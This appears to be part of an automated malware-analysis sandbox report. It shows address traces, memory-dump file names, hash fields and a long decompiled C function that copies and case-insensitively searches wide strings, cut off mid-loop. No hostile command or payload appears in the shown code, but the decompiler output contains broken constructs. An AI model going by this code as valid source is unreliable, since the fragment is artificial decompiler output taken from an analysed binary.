0x6e679043
0x6e679047
0x6e67904b
0x6e67904f
0x6e67904f
0x6e679053
0x6e679057
0x6e679059
0x00000000
0x00000000
0x6e67905b
0x6e67905b
0x6e67905f
0x6e679060
0x6e679062
0x00000000
0x00000000
0x00000000
0x6e679062
0x6e679064
0x6e679068
0x6e679068
0x6e67906c
0x6e67906e
0x6e67906f
0x6e679076
0x6e679078
0x6e6791d6
0x6e6791d6
0x6e6791db
0x6e6791dd
0x6e678c3b
0x6e678c3b
0x6e678c3e
0x6e678c40
0x6e678d95
0x6e678d95
0x6e678d9f
0x6e678da1
0x6e678da7
0x6e678da9
0x6e678dab
0x6e678de5
0x6e678de7
0x6e678dad
0x6e678dad
0x6e678daf
0x6e678db1
0x6e678db4
0x6e678db7
0x6e678db9
0x6e678dbb
0x6e678dbb
0x6e678dbd
0x6e678dbd
0x6e678dbe
0x6e678dc3
0x6e678dc8
0x6e678dca
0x00000000
0x00000000
0x6e678dcc
0x6e678dd0
0x6e678dd4
0x6e678dd6
0x00000000
0x00000000
0x00000000
0x6e678dd6
0x6e678dbd
0x6e678db9
0x6e678dd8
0x6e678dd8
0x6e678dda
0x6e678ddb
0x6e678de0
0x6e678de0
0x6e678dea
0x6e678ded
0x6e678def
0x6e678c46
0x6e678c48
0x6e678c48
0x6e678c4b
0x6e678c68
0x6e678c6c
0x6e678c78
0x6e678c78
0x6e678c7e
0x6e678c7e
0x6e678c83
0x6e678c87
0x6e678c8b
0x6e678c8d
0x00000000
0x00000000
0x6e678c93
0x6e678c96
0x6e678c98
0x00000000
0x6e678c9a
0x6e678c9a
0x6e678ca0
0x00000000
0x00000000
0x00000000
0x00000000
0x6e678ca0
0x00000000
0x6e678c98
0x6e679214
0x6e679219
0x6e678c4d
0x6e678c4d
0x6e678c4f
0x6e678c52
0x6e678ca2
0x6e678ca2
0x6e678ca6
0x6e678ca8
0x00000000
0x00000000
0x6e678caa
0x6e678cab
0x6e678cb1
0x00000000
0x6e678cb3
0x6e678cb3
0x6e678cb3
0x6e678cb3
0x00000000
0x6e678cb1
0x6e678c54
0x6e678c59
0x6e678c59
0x6e678c5b
0x6e678c5b
0x6e678c5f
0x6e678c61
0x00000000
0x00000000
0x6e678c63
0x6e678c64
0x6e678c66
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e678c66
0x6e678c5b
0x6e678c52
0x6e678cb8
0x6e678cbd
0x6e678cbd
0x6e678cc0
0x6e678cc3
0x6e678cc6
0x6e678cc8
0x6e678cdb
0x6e678cde
0x6e678cde
0x6e678ce4
0x6e678cec
0x6e678cec
0x6e678cec
0x6e678ced
0x6e678cf7
0x6e678cfe
0x6e678cff
0x6e678d02
0x6e678d07
0x6e678d0d
0x6e678d0f
0x6e678d11
0x6e678d5b
0x6e678d5d
0x6e678d13
0x6e678d13
0x6e678d15
0x6e678d17
0x6e678d1a
0x6e678d1d
0x6e678d1f
0x6e678d21
0x6e678d25
0x6e678d25
0x6e678d27
0x6e678d27
0x6e678d28
0x6e678d2d
0x6e678d32
0x6e678d34
0x00000000
0x00000000
0x6e678d36
0x6e678d3a
0x6e678d3e
0x6e678d40
0x00000000
0x00000000
0x00000000
0x6e678d40
0x6e678d42
0x6e678d42
0x6e678d1f
0x6e678d46
0x6e678d48
0x6e678d49
0x6e678d4d
0x6e678d52
0x6e678d56
0x6e678d56
0x6e678d60
0x6e678d63
0x6e678d66
0x6e678cca
0x6e678cca
0x6e678cca
0x6e678d68
0x6e678d6a
0x6e678d6c
0x6e678d72
0x6e678d7c
0x6e678d7c
0x6e678d7f
0x6e678d80
0x6e678d83
0x6e678d85
0x00000000
0x00000000
0x6e678d87
0x6e678d89
0x6e67920b
0x00000000
0x00000000
0x00000000
0x00000000
0x6e678d8f
0x6e678d8f
0x6e678d91
0x6e678d76
0x6e678d79
0x6e678d79
0x00000000
0x6e678d79
0x00000000
0x6e678d91
0x6e678d7c
0x6e678d6c
0x6e67907e
0x6e679082
0x6e679084
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e679084
0x6e679078
0x6e678f2b
0x6e678f1b
0x6e678f17
0x6e678c1c
0x6e678c1c
0x6e678c1c
0x6e678c20
0x00000000
0x6e678c20
0x00000000
0x6e678c16
0x6e67929a
0x6e67929c
0x00000000
0x6e67929c
0x00000000
0x6e678c24
0x6e678c24
0x6e678c25
0x6e678c25
0x00000000
0x6e678be4
0x6e678b19
0x6e678b12
0x6e678a8b
0x6e678df6
0x6e678df6
0x6e678df8
0x6e678df9
0x6e678e0a
0x6e678a04
0x6e678a04
0x6e678a07
0x6e678a09
0x6e678a0e
0x6e678a10
0x6e678a18
0x6e678a1a
0x6e678a20
0x6e678a24
0x6e678a5c
0x6e678a26
0x6e678a28
0x6e678a2a
0x6e678a2d
0x6e678a32
0x6e678a34
0x6e678a34
0x6e678a35
0x6e678a3a
0x6e678a41
0x00000000
0x00000000
0x6e678a43
0x6e678a47
0x6e678a4d
0x00000000
0x00000000
0x00000000
0x6e678a4d
0x6e678a34
0x6e678a32
0x6e678a4f
0x6e678a4f
0x6e678a51
0x6e678a52
0x6e678a57
0x6e678a57
0x6e678a5f
0x6e678a62
0x6e678a69
0x6e678a74
0x6e678a74
0x00000000

Strings

@, xrefs: 6E679229

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 890d090df5082a30348e5f74619d74015760cc1c72b8607f5a6b626b3c49c3ad
Instruction ID: 93e0a6890f1e648985cdd672ada5a96bc194dd7384e8678e146f3c89f7923387
Opcode Fuzzy Hash: 890d090df5082a30348e5f74619d74015760cc1c72b8607f5a6b626b3c49c3ad
Instruction Fuzzy Hash: 074208716147238BDF648FA9C85062A73E2EFD6394F15862DE8A5CB3A4EB35CC41C781

Uniqueness

Uniqueness Score: -1.00%

Function 6E66AE80, Relevance: 2.0, Strings: 1, Instructions: 719
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E6E66AE80(intOrPtr* __ecx, void* __eflags, signed int* _a4, signed int _a8) {
				signed int _v24;
				signed int _v28;
				unsigned int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				void* __esi;
				signed short* _t229;
				unsigned int _t237;
				signed int _t238;
				signed short** _t243;
				signed short* _t244;
				signed short* _t248;
				signed int* _t250;
				signed int _t255;
				signed int _t259;
				signed int _t264;
				signed int _t268;
				signed int _t271;
				unsigned int _t277;
				signed int _t278;
				void* _t284;
				signed int _t287;
				signed int _t288;
				signed int _t291;
				signed short* _t298;
				signed int _t301;
				signed int _t306;
				signed int _t307;
				signed int _t309;
				signed int _t316;
				signed int _t317;
				signed int _t319;
				signed int _t325;
				signed int _t326;
				signed int _t327;
				signed short* _t334;
				signed int _t336;
				signed int _t337;
				signed int _t339;
				signed int _t346;
				signed int _t349;
				signed int _t350;
				signed int _t352;
				signed int _t353;
				signed int _t355;
				signed int _t356;
				signed int _t359;
				signed int _t360;
				signed int _t363;
				signed int _t364;
				signed int _t365;
				signed int _t366;
				signed int _t368;
				signed int _t374;
				signed int _t377;
				signed int _t381;
				signed int _t382;
				signed int _t383;
				signed int _t384;
				void* _t385;
				signed int _t386;
				signed int _t387;
				signed int _t390;
				intOrPtr* _t392;
				signed int _t393;
				signed int _t394;
				intOrPtr* _t396;
				signed int _t397;
				signed int _t398;
				signed int _t400;
				signed int _t401;
				signed int _t402;
				intOrPtr* _t403;
				signed int _t404;
				signed int _t405;
				void* _t406;
				signed int _t407;
				signed int _t408;
				signed short* _t411;
				signed int* _t412;
				signed int _t413;
				signed int _t417;
				intOrPtr* _t426;
				signed int _t427;
				signed int _t428;
				signed int _t429;
				signed int _t432;
				signed int _t433;
				signed int _t434;
				signed int _t441;
				signed int _t443;
				signed int _t448;
				signed int _t449;
				signed int _t452;
				signed int _t455;
				intOrPtr* _t458;
				signed int _t460;
				signed int _t462;
				signed int _t463;
				signed int _t464;
				unsigned int _t465;
				unsigned int _t466;
				signed int _t467;
				unsigned int _t470;
				signed int _t474;
				signed int _t475;
				signed int _t476;
				signed int _t477;
				signed int _t478;
				void* _t481;

				_v64 = 0;
				_t458 = __ecx;
				_v60 = 0;
				_push(0x80);
				_t441 = E6E661030();
				_t481 = (_t478 & 0xfffffff0) - 0x34 + 4;
				_t229 = _v64;
				if(_t229 == 0) {
					__eflags = 0;
					 *_t441 = 0;
				} else {
					if(_t441 != 0) {
						_t384 =  *_t229 & 0x0000ffff;
						 *_t441 = _t384;
						if(_t384 != 0) {
							while(1) {
								_t384 = 1;
								_t382 = _t229[1] & 0x0000ffff;
								 *(_t441 + 2) = _t382;
								if(_t382 == 0) {
									goto L6;
								}
								_t383 = _t229[2] & 0x0000ffff;
								 *(_t441 + 4) = _t383;
								if(_t383 != 0) {
									continue;
								}
								goto L6;
							}
						}
					}
					L6:
					_push(2);
					_push(_t229);
					E6E6610B0();
					_t481 = _t481 + 8;
				}
				_v60 = 0x40;
				_v64 = _t441;
				if((_a8 & 0x0000ffff) != 0) {
					__eflags = _t441;
					if(_t441 == 0) {
						_t349 = 0x40;
						_t316 = 0;
					} else {
						_t309 = _t441 & 0x0000000f;
						__eflags = _t309;
						if(_t309 == 0) {
							L16:
							asm("pxor xmm0, xmm0");
							_t346 =  ~( ~_t309 + 0x00000007 & 0x00000007) + 0x7fffffff;
							__eflags = _t346;
							while(1) {
								asm("movdqu xmm1, [edi+eax*2]");
								asm("pcmpeqw xmm1, xmm0");
								asm("pmovmskb edx, xmm1");
								__eflags = _t384;
								if(_t384 != 0) {
									break;
								}
								_t309 = _t309 + 8;
								__eflags = _t309 - _t346;
								if(_t309 < _t346) {
									continue;
								} else {
									__eflags = _t346 - 0x7fffffff;
									if(_t346 >= 0x7fffffff) {
										goto L22;
									} else {
										goto L20;
									}
								}
								goto L23;
							}
							asm("bsf ebx, edx");
							_t316 = (_t346 >> 1) + _t309;
							goto L126;
						} else {
							_t346 = 0;
							__eflags = _t309 & 0x00000001;
							if((_t309 & 0x00000001) != 0) {
								while(1) {
									L20:
									__eflags =  *(_t441 + _t346 * 2) & 0x0000ffff;
									if(( *(_t441 + _t346 * 2) & 0x0000ffff) == 0) {
										goto L126;
									}
									_t346 = _t346 + 1;
									__eflags = _t346 - 0x7fffffff;
									if(_t346 < 0x7fffffff) {
										continue;
									} else {
										L22:
										_t349 = 0x40;
										_t316 = 0x7fffffff;
									}
									goto L23;
								}
								goto L126;
							} else {
								_t309 =  ~_t309 + 0x10 >> 1;
								__eflags = _t309;
								while(1) {
									_t384 =  *(_t441 + _t346 * 2) & 0x0000ffff;
									__eflags = _t384;
									if(_t384 == 0) {
										break;
									}
									_t346 = _t346 + 1;
									__eflags = _t346 - _t309;
									if(_t346 < _t309) {
										continue;
									} else {
										goto L16;
									}
									goto L23;
								}
								L126:
								__eflags = _t316 - 0xfffffffe;
								if(_t316 != 0xfffffffe) {
									_t349 = 0x40;
								} else {
									 *_t441 = 0;
									_t349 = _v60;
								}
							}
						}
					}
					L23:
					_t24 = _t316 + 2; // 0x2
					_t385 = _t24;
					__eflags = _t385 - 0x40;
					_t386 =  <=  ? 0x40 : _t385;
					__eflags = _t349 - _t386;
					if(_t349 < _t386) {
						_t237 = (_t386 >> 5 >> 0x1a) + _t386 >> 6;
						_t387 = _t386 & 0x8000003f;
						__eflags = _t387;
						if(_t387 < 0) {
							_t387 = (_t387 - 0x00000001 | 0xffffffc0) + 1;
							__eflags = _t387;
						}
						__eflags = _t387;
						_t238 = _t237 + (0 | _t387 > 0x00000000);
						_push(_t238 << 7);
						_t443 = _t238 << 6;
						_t390 = E6E661030();
						_t481 = _t481 + 4;
						_t350 = _v64;
						__eflags = _t350;
						if(_t350 == 0) {
							__eflags = 0;
							 *_t390 = 0;
						} else {
							__eflags = _t390;
							if(_t390 != 0) {
								_t306 =  *_t350 & 0x0000ffff;
								 *_t390 = _t306;
								__eflags = _t306;
								if(_t306 != 0) {
									_v68 = _t458;
									_t307 = 0;
									__eflags = 0;
									while(1) {
										_t307 = _t307 + 1;
										_t476 =  *(_t350 + _t307 * 4 - 2) & 0x0000ffff;
										 *(_t390 + _t307 * 4 - 2) = _t476;
										__eflags = _t476;
										if(_t476 == 0) {
											break;
										}
										_t477 =  *(_t350 + _t307 * 4) & 0x0000ffff;
										 *(_t390 + _t307 * 4) = _t477;
										__eflags = _t477;
										if(_t477 != 0) {
											continue;
										}
										break;
									}
									_t458 = _v68;
								}
							}
							_push(2);
							_push(_t350);
							_v68 = _t390;
							E6E6610B0();
							_t390 = _v68;
							_t481 = _t481 + 8;
						}
						_v60 = _t443;
						_v64 = _t390;
					} else {
						_t390 = _v64;
					}
					 *((short*)(_t390 + _t316 * 2)) = _a8 & 0x0000ffff;
					__eflags = 0;
					_t243 =  &_v64;
					 *((short*)(_v64 + 2 + _t316 * 2)) = 0;
				} else {
					_t243 =  &_v64;
				}
				_t244 =  *_t243;
				_v28 = _t244;
				if(_t244 == 0) {
					L40:
					_t392 = _a4;
					_push(0x80);
					 *_t392 = 0;
					 *((intOrPtr*)(_t392 + 4)) = 0;
					_t317 = E6E661030();
					_t481 = _t481 + 4;
					_t248 =  *_a4;
					if(_t248 == 0) {
						 *_t317 = 0;
					} else {
						if(_t317 != 0) {
							_t393 =  *_t248 & 0x0000ffff;
							 *_t317 = _t393;
							if(_t393 != 0) {
								_t394 = 0;
								while(1) {
									_t394 = _t394 + 1;
									_t352 =  *(_t248 + _t394 * 4 - 2) & 0x0000ffff;
									 *(_t317 + _t394 * 4 - 2) = _t352;
									if(_t352 == 0) {
										goto L46;
									}
									_t353 =  *(_t248 + _t394 * 4) & 0x0000ffff;
									 *(_t317 + _t394 * 4) = _t353;
									if(_t353 != 0) {
										continue;
									}
									goto L46;
								}
							}
						}
						L46:
						_push(2);
						_push(_t248);
						E6E6610B0();
						_t481 = _t481 + 8;
					}
					goto L124;
				} else {
					_t319 =  *_t244 & 0x0000ffff;
					if(_t319 != 0) {
						_t460 =  *_t458;
						_t255 = E6E66FB60(_t460, _t244, _t460);
						__eflags = _t255;
						if(_t255 == 0) {
							_t396 = _a4;
							_push(0x80);
							 *_t396 = 0;
							 *((intOrPtr*)(_t396 + 4)) = 0;
							_t317 = E6E661030();
							_t481 = _t481 + 4;
							_t259 =  *_a4;
							__eflags = _t259;
							if(_t259 == 0) {
								 *_t317 = 0;
							} else {
								__eflags = _t317;
								if(_t317 != 0) {
									_t397 =  *_t259 & 0x0000ffff;
									 *_t317 = _t397;
									__eflags = _t397;
									if(_t397 != 0) {
										_t398 = 0;
										__eflags = 0;
										while(1) {
											_t398 = _t398 + 1;
											_t355 =  *(_t259 + _t398 * 4 - 2) & 0x0000ffff;
											 *(_t317 + _t398 * 4 - 2) = _t355;
											__eflags = _t355;
											if(_t355 == 0) {
												goto L176;
											}
											_t356 =  *(_t259 + _t398 * 4) & 0x0000ffff;
											 *(_t317 + _t398 * 4) = _t356;
											__eflags = _t356;
											if(_t356 != 0) {
												continue;
											}
											goto L176;
										}
									}
								}
								L176:
								_push(2);
								_push(_t259);
								E6E6610B0();
								_t481 = _t481 + 8;
							}
							goto L124;
						} else {
							_t66 = _t319 - 0x41; // 0x7fffffbe
							__eflags = _t66 - 0x19;
							_t67 = _t319 + 0x20; // 0x8000001f
							_v40 = _t460;
							_t320 =  <=  ? _t67 : _t319;
							_t400 = _v28 & 0x0000000f;
							_t358 = ( <=  ? _t67 : _t319) & 0x0000ffff;
							asm("pxor xmm0, xmm0");
							_v36 =  ~_t400 + 0x10 >> 1;
							_v32 = _t400 & 0x00000001;
							_t448 = 0;
							__eflags = 0;
							_v44 = ( <=  ? _t67 : _t319) & 0x0000ffff;
							while(1) {
								L50:
								_t325 = _t255;
								_t462 = _t255 + 2;
								__eflags = _t462;
								if(_t462 == 0) {
									break;
								}
								__eflags =  *(_t255 + 2) & 0x0000ffff;
								if(( *(_t255 + 2) & 0x0000ffff) == 0) {
									break;
								} else {
									_v52 = _t400;
									_t368 = _t448;
									_v68 = _t325;
									while(1) {
										_t368 = _t368 + 1;
										_t334 = _t255 + _t368 * 2;
										_t429 =  *_t334 & 0x0000ffff;
										__eflags = ( *(_t462 + _t368 * 2 - 2) & 0x0000ffff) + 0xffffffbf - 0x19;
										_v48 = _t334;
										_t448 = _v44;
										_t430 =  <=  ? _t429 + 0x20 : _t429;
										__eflags = ( <=  ? _t429 + 0x20 : _t429) - _t448;
										if(( <=  ? _t429 + 0x20 : _t429) == _t448) {
											break;
										}
										__eflags =  *(_t462 + _t368 * 2) & 0x0000ffff;
										if(( *(_t462 + _t368 * 2) & 0x0000ffff) != 0) {
											continue;
										} else {
											L55:
											_t325 = _v68;
											_t463 = _v40;
										}
										goto L56;
									}
									_t400 = _v52;
									_t301 = _v48;
									_t452 = _v36;
									_t465 = _v32;
									while(1) {
										_t336 = _t400;
										__eflags = _t400;
										if(_t400 == 0) {
											goto L141;
										}
										L136:
										_t377 = 0;
										__eflags = _t465;
										if(_t465 != 0) {
											L145:
											_v32 = _t465;
											_t474 = _v28;
											while(1) {
												__eflags =  *(_t474 + _t377 * 2) & 0x0000ffff;
												if(( *(_t474 + _t377 * 2) & 0x0000ffff) == 0) {
													break;
												}
												_t377 = _t377 + 1;
												__eflags = _t377 - 0x7fffffff;
												if(_t377 < 0x7fffffff) {
													continue;
												} else {
													_t466 = _v32;
													goto L149;
												}
												goto L180;
											}
											_t466 = _v32;
											goto L159;
										} else {
											_v32 = _t465;
											_t336 = _t452;
											_v24 = _t301;
											_t475 = _v28;
											while(1) {
												__eflags =  *(_t475 + _t377 * 2) & 0x0000ffff;
												if(( *(_t475 + _t377 * 2) & 0x0000ffff) == 0) {
													break;
												}
												_t377 = _t377 + 1;
												__eflags = _t377 - _t452;
												if(_t377 < _t452) {
													continue;
												} else {
													_t301 = _v24;
													_t465 = _v32;
													goto L141;
												}
												goto L180;
											}
											_t301 = _v24;
											_t466 = _v32;
											L159:
											__eflags = _t377;
											if(__eflags == 0) {
												L149:
												_t377 = 0x7fffffff;
												goto L150;
											} else {
												if(__eflags > 0) {
													L150:
													_v56 = _t377;
													_t337 = 0;
													__eflags = 0;
													_v52 = _t400;
													_v36 = _t452;
													_v32 = _t466;
													while(1) {
														_t467 =  *(_t301 + _t337 * 2) & 0x0000ffff;
														_t455 =  *(_v28 + _t337 * 2) & 0x0000ffff;
														__eflags = _t467 - 0x61 - 0x19;
														_t468 =  <=  ? _t467 - 0x20 : _t467;
														_t432 = ( <=  ? _t467 - 0x20 : _t467) & 0x0000ffff;
														__eflags = _t455 - 0x61 - 0x19;
														_t456 =  <=  ? _t455 - 0x20 : _t455;
														__eflags = _t432 - ( <=  ? _t455 - 0x20 : _t455);
														if(__eflags < 0 || __eflags > 0) {
															break;
														}
														__eflags = _t432;
														if(_t432 == 0) {
															L155:
															_t400 = _v52;
															_t448 = 0;
															__eflags = 0;
															_t325 = _v68;
															goto L156;
														} else {
															_t337 = _t337 + 1;
															__eflags = _t337 - _v56;
															if(_t337 < _v56) {
																continue;
															} else {
																goto L155;
															}
														}
														goto L180;
													}
													_t433 = _v52;
													_t448 = _v36;
													_t470 = _v32;
													_t339 = _t301 + 2;
													__eflags = _t339;
													if(_t339 == 0) {
														goto L55;
													} else {
														__eflags =  *(_t301 + 2) & 0x0000ffff;
														if(( *(_t301 + 2) & 0x0000ffff) == 0) {
															goto L55;
														} else {
															_v52 = _t433;
															_t381 = 0;
															__eflags = 0;
															_v24 = _t301;
															_v36 = _t448;
															_v32 = _t470;
															while(1) {
																_t381 = _t381 + 1;
																_t301 = _v24 + _t381 * 2;
																_t434 =  *_t301 & 0x0000ffff;
																__eflags = ( *(_t339 + _t381 * 2 - 2) & 0x0000ffff) + 0xffffffbf - 0x19;
																_t448 = _t434 + 0x20;
																_t435 =  <=  ? _t448 : _t434;
																__eflags = ( <=  ? _t448 : _t434) - _v44;
																if(( <=  ? _t448 : _t434) == _v44) {
																	break;
																}
																__eflags =  *(_t339 + _t381 * 2) & 0x0000ffff;
																if(( *(_t339 + _t381 * 2) & 0x0000ffff) != 0) {
																	continue;
																} else {
																	goto L55;
																}
																goto L180;
															}
															_t400 = _v52;
															_t452 = _v36;
															_t465 = _v32;
															_t336 = _t400;
															__eflags = _t400;
															if(_t400 == 0) {
																goto L141;
															}
														}
													}
												} else {
													_v36 = _t452;
													_t448 = 0;
													_v32 = _t466;
													_t325 = _v68;
													L156:
													__eflags = _t301;
													if(_t301 != 0) {
														goto L50;
													} else {
														goto L157;
													}
												}
											}
										}
										L180:
										L141:
										_v36 = _t452;
										_t374 =  ~( ~_t336 + 0x00000007 & 0x00000007) + 0x7fffffff;
										__eflags = _t374;
										_v32 = _t465;
										while(1) {
											asm("movdqu xmm1, [edi+ebx*2]");
											asm("pcmpeqw xmm1, xmm0");
											asm("pmovmskb esi, xmm1");
											__eflags = _t465;
											if(_t465 != 0) {
												break;
											}
											_t336 = _t336 + 8;
											__eflags = _t336 - _t374;
											if(_t336 < _t374) {
												continue;
											} else {
												_t452 = _v36;
												_t466 = _v32;
												__eflags = _t374 - 0x7fffffff;
												if(_t374 >= 0x7fffffff) {
													goto L149;
												} else {
													goto L145;
												}
											}
											goto L180;
										}
										asm("bsf ecx, ecx");
										_t452 = _v36;
										_t377 = (_t465 >> 1) + _t336;
										_t466 = _v32;
										goto L159;
									}
								}
								L56:
								_t326 = _t325 - _t463;
								__eflags = _t326;
								_t327 = _t326 >> 1;
								if(_t326 != 0) {
									__eflags = _t463;
									if(_t463 == 0) {
										_t401 = 0;
									} else {
										_t291 = _t463 & 0x0000000f;
										__eflags = _t291;
										if(_t291 == 0) {
											L71:
											_t401 =  ~( ~_t291 + 0x00000007 & 0x00000007) + 0x7fffffff;
											__eflags = _t401;
											while(1) {
												asm("movdqu xmm1, [esi+eax*2]");
												asm("pcmpeqw xmm1, xmm0");
												asm("pmovmskb edi, xmm1");
												__eflags = _t448;
												if(_t448 != 0) {
													break;
												}
												_t291 = _t291 + 8;
												__eflags = _t291 - _t401;
												if(_t291 < _t401) {
													continue;
												} else {
													__eflags = _t401 - 0x7fffffff;
													if(_t401 >= 0x7fffffff) {
														goto L77;
													} else {
														goto L75;
													}
												}
												goto L78;
											}
											asm("bsf edx, edi");
											_t401 = (_t401 >> 1) + _t291;
										} else {
											_t401 = 0;
											__eflags = _t291 & 0x00000001;
											if((_t291 & 0x00000001) != 0) {
												while(1) {
													L75:
													__eflags =  *(_t463 + _t401 * 2) & 0x0000ffff;
													if(( *(_t463 + _t401 * 2) & 0x0000ffff) == 0) {
														goto L78;
													}
													_t401 = _t401 + 1;
													__eflags = _t401 - 0x7fffffff;
													if(_t401 < 0x7fffffff) {
														continue;
													} else {
														L77:
														_t401 = 0x7fffffff;
													}
													goto L78;
												}
											} else {
												_t291 =  ~_t291 + 0x10 >> 1;
												__eflags = _t291;
												while(1) {
													_t448 =  *(_t463 + _t401 * 2) & 0x0000ffff;
													__eflags = _t448;
													if(_t448 == 0) {
														goto L78;
													}
													_t401 = _t401 + 1;
													__eflags = _t401 - _t291;
													if(_t401 < _t291) {
														continue;
													} else {
														goto L71;
													}
													goto L78;
												}
											}
										}
									}
									L78:
									_t264 = _t401 >> 0x0000001f & _t401;
									_t402 = _t401 - _t264;
									__eflags = _t327;
									if(_t327 < 0) {
										L80:
										_t327 = _t402;
									} else {
										__eflags = _t327 - _t402;
										if(_t327 > _t402) {
											goto L80;
										}
									}
									_t403 = _a4;
									_t449 = _t463 + _t264 * 2;
									 *_t403 = 0;
									 *((intOrPtr*)(_t403 + 4)) = 0;
									__eflags = _t449;
									if(_t449 == 0) {
										L116:
										_push(0x80);
										_t317 = E6E661030();
										_t481 = _t481 + 4;
										_t268 =  *_a4;
										__eflags = _t268;
										if(_t268 == 0) {
											__eflags = 0;
											 *_t317 = 0;
										} else {
											__eflags = _t317;
											if(_t317 != 0) {
												_t404 =  *_t268 & 0x0000ffff;
												 *_t317 = _t404;
												__eflags = _t404;
												if(_t404 != 0) {
													_t405 = 0;
													__eflags = 0;
													while(1) {
														_t405 = _t405 + 1;
														_t359 =  *(_t268 + _t405 * 4 - 2) & 0x0000ffff;
														 *(_t317 + _t405 * 4 - 2) = _t359;
														__eflags = _t359;
														if(_t359 == 0) {
															goto L122;
														}
														_t360 =  *(_t268 + _t405 * 4) & 0x0000ffff;
														 *(_t317 + _t405 * 4) = _t360;
														__eflags = _t360;
														if(_t360 != 0) {
															continue;
														}
														goto L122;
													}
												}
											}
											L122:
											_push(2);
											_push(_t268);
											E6E6610B0();
											_t481 = _t481 + 8;
										}
										goto L124;
									} else {
										_t271 =  *_t449 & 0x0000ffff;
										__eflags = _t271;
										if(_t271 == 0) {
											goto L116;
										} else {
											__eflags = _t327;
											if(_t327 == 0) {
												_t417 = _t449 & 0x0000000f;
												__eflags = _t417;
												if(_t417 == 0) {
													L89:
													_t327 =  ~( ~_t417 + 0x00000007 & 0x00000007) + 0x7fffffff;
													__eflags = _t327;
													while(1) {
														asm("movdqu xmm1, [edi+edx*2]");
														asm("pcmpeqw xmm1, xmm0");
														asm("pmovmskb eax, xmm1");
														__eflags = _t271;
														if(_t271 != 0) {
															break;
														}
														_t417 = _t417 + 8;
														__eflags = _t417 - _t327;
														if(_t417 < _t327) {
															continue;
														} else {
															__eflags = _t327 - 0x7fffffff;
															if(_t327 >= 0x7fffffff) {
																goto L95;
															} else {
																goto L93;
															}
														}
														goto L96;
													}
													asm("bsf ebx, eax");
													_t327 = (_t327 >> 1) + _t417;
												} else {
													_t327 = 0;
													__eflags = _t417 & 0x00000001;
													if((_t417 & 0x00000001) != 0) {
														while(1) {
															L93:
															__eflags =  *(_t449 + _t327 * 2) & 0x0000ffff;
															if(( *(_t449 + _t327 * 2) & 0x0000ffff) == 0) {
																goto L96;
															}
															_t327 = _t327 + 1;
															__eflags = _t327 - 0x7fffffff;
															if(_t327 < 0x7fffffff) {
																continue;
															} else {
																L95:
																_t327 = 0x7fffffff;
															}
															goto L96;
														}
													} else {
														_t417 =  ~_t417 + 0x10 >> 1;
														__eflags = _t417;
														while(1) {
															_t271 =  *(_t449 + _t327 * 2) & 0x0000ffff;
															__eflags = _t271;
															if(_t271 == 0) {
																goto L96;
															}
															_t327 = _t327 + 1;
															__eflags = _t327 - _t417;
															if(_t327 < _t417) {
																continue;
															} else {
																goto L89;
															}
															goto L96;
														}
													}
												}
											}
											L96:
											_t114 = _t327 + 1; // 0x80000000
											_t406 = _t114;
											__eflags = _t406 - 0x40;
											_t407 =  <=  ? 0x40 : _t406;
											__eflags = _t407;
											if(_t407 > 0) {
												_t277 = (_t407 >> 5 >> 0x1a) + _t407 >> 6;
												_t408 = _t407 & 0x8000003f;
												__eflags = _t408;
												if(_t408 < 0) {
													_t408 = (_t408 - 0x00000001 | 0xffffffc0) + 1;
													__eflags = _t408;
												}
												__eflags = _t408;
												_t278 = _t277 + (0 | _t408 > 0x00000000);
												_v68 = _t278 << 6;
												_push(_t278 << 7);
												_t464 = E6E661030();
												_t481 = _t481 + 4;
												_t411 =  *_a4;
												__eflags = _t411;
												if(_t411 == 0) {
													__eflags = 0;
													 *_t464 = 0;
												} else {
													__eflags = _t464;
													if(_t464 != 0) {
														_t287 =  *_t411 & 0x0000ffff;
														 *_t464 = _t287;
														__eflags = _t287;
														if(_t287 != 0) {
															_t288 = 0;
															__eflags = 0;
															while(1) {
																_t288 = _t288 + 1;
																_t363 =  *(_t411 + _t288 * 4 - 2) & 0x0000ffff;
																 *(_t464 + _t288 * 4 - 2) = _t363;
																__eflags = _t363;
																if(_t363 == 0) {
																	goto L106;
																}
																_t364 =  *(_t411 + _t288 * 4) & 0x0000ffff;
																 *(_t464 + _t288 * 4) = _t364;
																__eflags = _t364;
																if(_t364 != 0) {
																	continue;
																}
																goto L106;
															}
														}
													}
													L106:
													_push(2);
													_push(_t411);
													E6E6610B0();
													_t481 = _t481 + 8;
												}
												_t412 = _a4;
												_t412[1] = _v68;
												 *_t412 = _t464;
											} else {
												_t464 = 0;
											}
											__eflags = _t464;
											if(_t464 != 0) {
												_t284 = 0;
												while(1) {
													_t413 =  *_t449 & 0x0000ffff;
													_t284 = _t284 + 1;
													 *_t464 = _t413;
													__eflags = _t327;
													if(_t327 == 0) {
														goto L114;
													}
													__eflags = _t284 - _t327;
													if(_t284 == _t327) {
														 *(_t464 + 2) = 0;
													} else {
														goto L114;
													}
													goto L125;
													L114:
													__eflags = _t413;
													if(_t413 != 0) {
														_t464 = _t464 + 2;
														_t449 = _t449 + 2;
														__eflags = _t449;
														continue;
													}
													goto L125;
												}
											}
										}
									}
								} else {
									_t426 = _a4;
									_push(0x80);
									 *_t426 = 0;
									 *((intOrPtr*)(_t426 + 4)) = 0;
									_t317 = E6E661030();
									_t481 = _t481 + 4;
									_t298 =  *_a4;
									__eflags = _t298;
									if(_t298 == 0) {
										 *_t317 = 0;
									} else {
										__eflags = _t317;
										if(_t317 != 0) {
											_t427 =  *_t298 & 0x0000ffff;
											 *_t317 = _t427;
											__eflags = _t427;
											if(_t427 != 0) {
												_t428 = 0;
												__eflags = 0;
												while(1) {
													_t428 = _t428 + 1;
													_t365 =  *(_t298 + _t428 * 4 - 2) & 0x0000ffff;
